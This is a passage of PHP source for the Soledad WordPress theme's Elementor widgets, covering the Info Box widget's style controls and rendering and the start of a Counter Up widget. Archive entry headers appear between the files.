				'name'     => 'ib_bg',
				'label'    => __( 'Infor Box Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .penci-info-box',
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'     => 'box_shadow',
				'label'    => __( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-info-box',
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'style_hover_tab', array(
				'label' => __( 'Hover', 'soledad' ),
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'ib_hbg',
				'label'    => __( 'Infor Box Hover Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .penci-info-box:hover',
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'     => 'hbox_shadow',
				'label'    => __( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-info-box:hover',
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_responsive_control(
			'ibpadding', array(
				'label'      => __( 'Infor Box Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'ibbdradius', array(
				'label'      => __( 'Infor Box Borders Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'pstitle_style',
			array(
				'label'     => __( 'Sub Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'stitle_color',
			array(
				'label'     => __( 'Sub Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box .penci-ibox-stit' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'stitle_hcolor',
			array(
				'label'     => __( 'Sub Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-stit' => 'color: {{VALUE}}; transition: color 0.3s;' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'stitle_typo',
				'label'    => __( 'Sub Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-info-box .penci-ibox-stit',
			)
		);

		$this->add_control(
			'ptitle_style',
			array(
				'label'     => __( 'Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'title_color',
			array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-ibox-title' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'title_hcolor',
			array(
				'label'     => __( 'Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-title' => 'color: {{VALUE}}; transition: color 0.3s;' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ibox-title',
			)
		);
		$this->add_control(
			'_line_color',
			array(
				'label'     => __( 'Line Below The Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-ibox-line' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'_line_hcolor',
			array(
				'label'     => __( 'Line Below The Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-info-box:hover .penci-ibox-line' => 'background-color: {{VALUE}}; transition: background-color 0.3s;' ),
			)
		);

		$this->add_control(
			'pdesc_style',
			array(
				'label'     => __( 'Description', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'desc_color',
			array(
				'label'     => __( 'Description Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-ibox-content' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'desc_hcolor',
			array(
				'label'     => __( 'Description Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-content' => 'color: {{VALUE}}; transition: color 0.3s;' ),
			)
		);

		$this->add_control(
			'desc_link_color',
			array(
				'label'     => __( 'Description Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-ibox-content a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'desc_typo',
				'label'    => __( 'Description Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ibox-content, {{WRAPPER}} .penci-ibox-content p',
			)
		);
		$this->add_control(
			'picon_style',
			array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'picon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-ibox-icon, {{WRAPPER}} .penci-ibox-icon a, {{WRAPPER}} .penci-ibox-icon svg' => 'color: {{VALUE}}; fill: {{VALUE}}' ),
			)
		);

		$this->add_control(
			'picon_bgcolor',
			array(
				'label'     => __( 'Icon Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-ibox-icon'                                 => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-framed .penci-ibox-icon'                                  => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'picon_border_color',
			array(
				'label'     => __( 'Icon Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-view-stacked .penci-icon'                                     => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-view-framed .penci-icon'                                      => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon'      => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon'      => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon'      => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-2 .penci-ibox-icon:after' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-5 .penci-ibox-icon:after' => 'border-color: {{VALUE}}',
				),
			)
		);
		$this->add_control(
			'picon_hcolor',
			array(
				'label'     => __( 'Icon Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-icon, {{WRAPPER}} .penci-ibox-inner:hover .penci-ibox-icon a, {{WRAPPER}} .penci-ibox-inner:hover .penci-ibox-icon svg' => 'color: {{VALUE}}; fill: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'picon_hbgcolor',
			array(
				'label'     => __( 'Icon Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-ibox-inner:hover .penci-ibox-icon'               => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-framed .penci-ibox-inner:hover .penci-ibox-icon'                => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:after'        => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'picon_border_hcolor',
			array(
				'label'     => __( 'Icon Hover Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-view-stacked .penci-ibox-inner:hover .penci-ibox-icon'               => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-view-framed .penci-ibox-inner:hover .penci-ibox-icon'                => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-2 .penci-ibox-icon:after'       => 'box-shadow: 0 0 0 3px {{VALUE}};',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-1 .penci-ibox-icon:after'       => 'box-shadow: 0 0 0 3px {{VALUE}};',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon'       => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon'       => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon'       => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-2:hover  .penci-ibox-icon:after' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-5:hover  .penci-ibox-icon:after' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-5:hover .penci-ibox-icon'        => 'box-shadow: 0 0 0 6px {{VALUE}}',
				),
			)
		);
		$this->add_responsive_control(
			'picon_fsize', array(
				'label'     => __( 'Font Size for Icon/SVG', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'condition' => array( 'icon_type!' => 'text' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-ibox-icon--icon' => 'font-size: {{SIZE}}px',
					'{{WRAPPER}} .penci-ibox-icon svg'   => 'width: {{SIZE}}px; height: auto;',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'pibtext_typo',
				'label'     => __( 'Icon Text Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-info-box .penci-ibox-icon, {{WRAPPER}} .penci-info-box .penci-ibox-icon a, {{WRAPPER}} .penci-info-box .penci-ibox-icon .pc-ibox-ctext',
				'condition' => array( 'icon_type' => 'text' ),
			)
		);

		$this->add_responsive_control(
			'picon_padding', array(
				'label'      => __( 'Custom Icon Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'condition'  => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-view-framed .penci-icon, {{WRAPPER}} .penci-view-stacked .penci-icon' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'rm_style',
			array(
				'label'     => __( 'Read More Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => array( 'addrm' => 'yes' ),
				'separator' => 'before',
			)
		);
		$this->add_control(
			'rm_bgcolor',
			array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'addrm' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_bghcolor',
			array(
				'label'     => __( 'Button Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-info-box:hover .penci-ibox-readmore a' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'addrm' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'color: {{VALUE}};' ),
				'condition' => array( 'addrm' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-readmore a' => 'color: {{VALUE}};' ),
				'condition' => array( 'addrm' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'rm_typo',
				'label'     => __( 'Button Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-info-box .penci-ibox-readmore a',
				'condition' => array( 'addrm' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'btn_padding', array(
				'label'      => __( 'Button Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'condition'  => array( 'addrm' => 'yes' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'btn_bdradius', array(
				'label'      => __( 'Button Borders Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'condition'  => array( 'addrm' => 'yes' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'addrmborder', array(
				'label'        => __( 'Add Button Borders', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'condition'    => array( 'addrm' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'btn_bdwidth', array(
				'label'      => __( 'Button Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'condition'  => array( 'addrmborder' => 'yes' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'rm_bcolor',
			array(
				'label'     => __( 'Button Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addrmborder' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_hbcolor',
			array(
				'label'     => __( 'Button Hover Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-readmore a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addrmborder' => 'yes' ),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		$block_id    = 'penci_info_box_' . rand( 1000, 100000 );
		$css_class   = 'penci-block-vc penci-info-box';
		$css_class   .= $settings['icon_position'] ? ' penci-ibox-' . $settings['icon_position'] : 'penci-ibox-float-left';
		$css_class   .= $settings['icon_view'] ? ' penci-view-' . $settings['icon_view'] : '';
		$css_class   .= $settings['icon_shape'] ? ' penci-shape-' . $settings['icon_shape'] : '';
		$inner_class = $settings['icon_hover_animation'] ? ' penci-animation-' . $settings['icon_hover_animation'] : '';


		$a_before           = '<span class="penci-ibox-icon-fa">';
		$a_after            = '</span>';
		$button_link_before = $button_link_after = $wrap_link_open = $wrap_link_close = '';

		if ( ! empty( $settings['link']['url'] ) ) {
			$this->add_render_attribute( 'link', 'href', $settings['link']['url'] );

			if ( $settings['link']['is_external'] ) {
				$this->add_render_attribute( 'link', 'target', '_blank' );
			}

			if ( $settings['link']['nofollow'] ) {
				$this->add_render_attribute( 'link', 'rel', 'nofollow' );
			}

			$a_before           = '<a class="penci-ibox-icon-fa-fix" ' . $this->get_render_attribute_string( 'link' ) . '></a>';
			$a_before           .= '<a class="penci-ibox-icon-fa" ' . $this->get_render_attribute_string( 'link' ) . '>';
			$a_after            = $button_link_after = $wrap_link_close = '</a>';
			$button_link_before = '<a class="penci-ibox-btn" ' . $this->get_render_attribute_string( 'link' ) . '>';
			$wrap_link_open     = '<a class="penci-iboxwrap-overlay" ' . $this->get_render_attribute_string( 'link' ) . '>';
		}
		?>
        <div id="<?php echo esc_attr( $block_id ) ?>" class="<?php echo esc_attr( $css_class ); ?>">
            <div class="penci-ibox-inner<?php echo $inner_class; ?>">
				<?php if ( 'yes' == $settings['wraplink'] ) {
					echo $wrap_link_open . $wrap_link_close;
				} ?>
				<?php
				$icon_type = $settings['icon_type'] ? $settings['icon_type'] : 'icon';
				if ( in_array( $icon_type, array( 'icon', 'svg', 'text' ) ) ) {
					echo '<div class="penci-ibox-icon penci-ibox-icon--icon penci-icon penci-tibox-' . $icon_type . '">';
					echo $a_before;
					if ( 'text' == $icon_type ) {
						$ctext = $settings['ctext'] ? $settings['ctext'] : '';
						if ( $ctext ) {
							echo '<div class="pc-ibox-ctext">' . $ctext . '</div>';
						}
					} else if ( 'svg' == $icon_type ) {
						\Elementor\Icons_Manager::render_icon( $settings['csvg'], [ 'aria-hidden' => 'true' ] );
					} else {
						$this->add_render_attribute( 'i', 'class', 'penci-ibox-icon--i ' . $settings['icon'] );
						$this->add_render_attribute( 'i', 'aria-hidden', 'true' );
						echo '<i ' . $this->get_render_attribute_string( 'i' ) . '></i>';
					}
					echo $a_after;
					echo '</div>';
				} elseif ( $settings['image'] ) {
					$image_src   = '';
					$image_width = $image_height = $image_hwidth = $image_hheight = '';
					$image_size  = $settings['image_size'] ? $settings['image_size'] : 'thumbnail';
					if ( isset( $settings['image']['id'] ) && $settings['image']['id'] ) {
						$image_src_array = wp_get_attachment_image_src( $settings['image']['id'], $image_size );
						if ( ! empty( $image_src_array ) ) {
							$image_src    = $image_src_array[0];
							$image_width  = $image_src_array[1];
							$image_height = $image_src_array[2];
						}
					}
					if ( ! $image_src && isset( $settings['image']['url'] ) ) {
						$image_src = $settings['image']['url'];
					}

					$img_hover_html = '';

					if ( $settings['image_hover'] ) {
						$image_hover_src = '';
						if ( isset( $settings['image_hover']['id'] ) && $settings['image_hover']['id'] ) {
							$image_hover_src_array = wp_get_attachment_image_src( $settings['image_hover']['id'], $image_size );
							if ( ! empty( $image_hover_src_array ) ) {
								$image_hover_src = $image_hover_src_array[0];
								$image_hwidth    = $image_hover_src_array[1];
								$image_hheight   = $image_hover_src_array[2];
							}
						}
						if ( ! $image_hover_src && isset( $settings['image_hover']['url'] ) ) {
							$image_hover_src = $settings['image_hover']['url'];
						}

						if ( $image_hover_src ) {
							$img_hover_html = '<img class="penci-ibox-img_hover" src="' . esc_url( $image_hover_src ) . '" width="' . $image_hwidth . '" height="' . $image_hheight . '">';
						}
					}

					$img_hv_class = $img_hover_html ? 'has-hover' : 'no-hover';

					if ( $image_src || $img_hover_html ) {

						echo '<div class="penci-ibox-icon penci-ibox-icon--image '.$img_hv_class.'">';
						echo $a_before;

						if ( $image_src ) {
						
							echo '<img class="' . ( $settings['image_hover'] ? 'penci-ibox-img_active' : '' ) . '" src="' . esc_url( $image_src ) . '" width="' . $image_width . '" height="' . $image_height . '">';

						}

						echo $img_hover_html;

						echo $a_after;
						echo '</div>';
					}
				}
				?>
                <div class="penci-ibox-content-wrap">
					<?php if ( $settings['subtitle'] ): ?>
                        <div class="penci-ibox-stit"><?php echo $settings['subtitle']; ?></div><?php endif; ?>
					<?php if ( $settings['title_text'] ): ?><h3
                            class="penci-ibox-title"><?php echo $settings['title_text']; ?></h3><?php endif; ?>
					<?php if ( $settings['_use_line'] ): ?>
                        <div class="pc-ibox-wpline"><span class="penci-ibox-line"></span></div><?php endif; ?>
					<?php if ( $settings['description_text'] ): ?>
                        <div class="penci-ibox-content"><?php echo do_shortcode( wpautop( $settings['description_text'] ) ); ?></div><?php endif; ?>
					<?php
					$add_rm      = $settings['addrm'] ? $settings['addrm'] : '';
					$addrmborder = $settings['addrmborder'] ? $settings['addrmborder'] : '';
					$btn_class   = '';
					if ( 'yes' == $add_rm ) {
						if ( 'yes' == $addrmborder ) {
							$btn_class = ' pc-ibox-borders';
						}
						echo '<div class="penci-ibox-readmore' . $btn_class . '">';
						$treadmore = $settings['treadmore'] ? $settings['treadmore'] : '';
						if ( ! empty( $settings['link']['url'] ) ) {
							echo $button_link_before;
							echo do_shortcode( $treadmore );
							echo $button_link_after;
						} else {
							echo '<a class="penci-ibox-btn">';
							echo do_shortcode( $treadmore );
							echo '</a>';
						}
						echo '</div>';
					}
					?>
                </div>
            </div>
        </div>
		<?php
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}
}
PK     N\T    1  inc/elementor/modules/penci-counter-up/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCounterUp;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-counter-up';
	}

	public function get_widgets() {
		return array( 'PenciCounterUp' );
	}
}
PK     N\6O+G  +G  C  inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCounterUp\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Control_Media;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCounterUp extends Base_Widget {

	public function get_name() {
		return 'penci-counter-up';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Counter Up', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-countdown';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'counter' );
	}

	/**
	 * Retrieve the list of scripts the image carousel widget depended on.
	 */
	public function get_script_depends() {
		return array( 'waypoints','jquery-counterup' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Counter Up', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_block_width', array(
				'label'   => __( 'Element Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 1,
				'options' => array(
					'1' => esc_html__( '1 Column ( Small Container Width)', 'soledad' ),
					'2' => esc_html__( '2 Columns ( Medium Container Width )', 'soledad' ),
					'3' => esc_html__( '3 Columns ( Large Container Width )', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'cup_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's2' => esc_html__( 'Style 2', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'cup_align', array(
				'label'   => __( 'Posttion', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'center',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				),
				'condition' => array( 'cup_style' => 's1' ),
			)
		);
		$this->add_control(
			'cup_number', array(
				'label'     => __( 'Number', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'cup_prefix_number', array(
				'label'     => __( 'Prefix of number', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'cup_suffix_number', array(
				'label'     => __( 'Suffix of number', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'cup_title', array(
				'label'     => __( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'cup_icon_type', array(
				'label'   => __( 'Icon type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'icon'  => __( 'Icon', 'soledad' ),
					'image' => __( 'Image', 'soledad' ),
				),
				'default' => 'icon',
			)
		);
		$this->add_control(
			'cup_icon', array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICON,
				'label_block' => true,
				'default'   => 'fas fa-star',
				'condition' => array( 'cup_icon_type' => 'icon' ),
			)
		);
		$this->add_control(
			'cup_image',
			array(
				'label'     => __( 'Choose Image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'default'   => array( 'url' => Utils::get_placeholder_image_src() ),
				'condition' => array( 'cup_icon_type' => 'image' ),
			)
		);

		$this->add_control(
			'icon_border_style', array(
				'label'     => __( 'Icon border style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''       => esc_html__( 'None', 'soledad' ),
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
				),
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--icon' => 'border-style: {{VALUE}}' ),
				'condition' => array( 'cup_icon_type' => 'icon' ),
			)
		);

		$this->add_control(
			'icon_border_width', array(
				'label'     => __( 'Border width for Icon', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--icon' => 'border-width: {{SIZE}}px' ),
				'condition' => array( 'icon_border_style' => array( 'solid', 'dashed', 'dotted', 'double' ) ),
			)
		);
		$this->add_control(
			'icon_border_radius', array(
				'label'     => __( 'Border radius for Icon', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--icon' => 'border-radius: {{SIZE}}px' ),
				'condition' => array( 'icon_border_style' => array( 'solid', 'dashed', 'dotted', 'double' ) ),
			)
